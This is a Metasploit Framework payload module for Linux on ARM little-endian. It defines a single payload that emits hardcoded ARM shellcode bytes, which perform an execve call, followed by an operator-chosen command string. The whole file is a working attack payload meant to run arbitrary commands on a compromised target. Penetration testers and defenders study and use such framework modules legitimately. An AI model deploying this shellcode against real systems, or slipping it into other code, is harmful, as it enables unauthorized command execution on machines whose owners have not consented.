exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module MetasploitModule
  CachedSize = 29

  include Msf::Payload::Single
  include Msf::Payload::Linux::Armle::Prepends

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Execute Command',
        'Description' => 'Execute an arbitrary command',
        'Author' => 'Jonathan Salwan',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_ARMLE
      )
    )

    register_options(
      [
        OptString.new('CMD', [ true, 'The command string to execute' ]),
      ]
    )
  end

  def generate(_opts = {})
    cmd = datastore['CMD'] || ''

    "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" \
      "\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
  end
end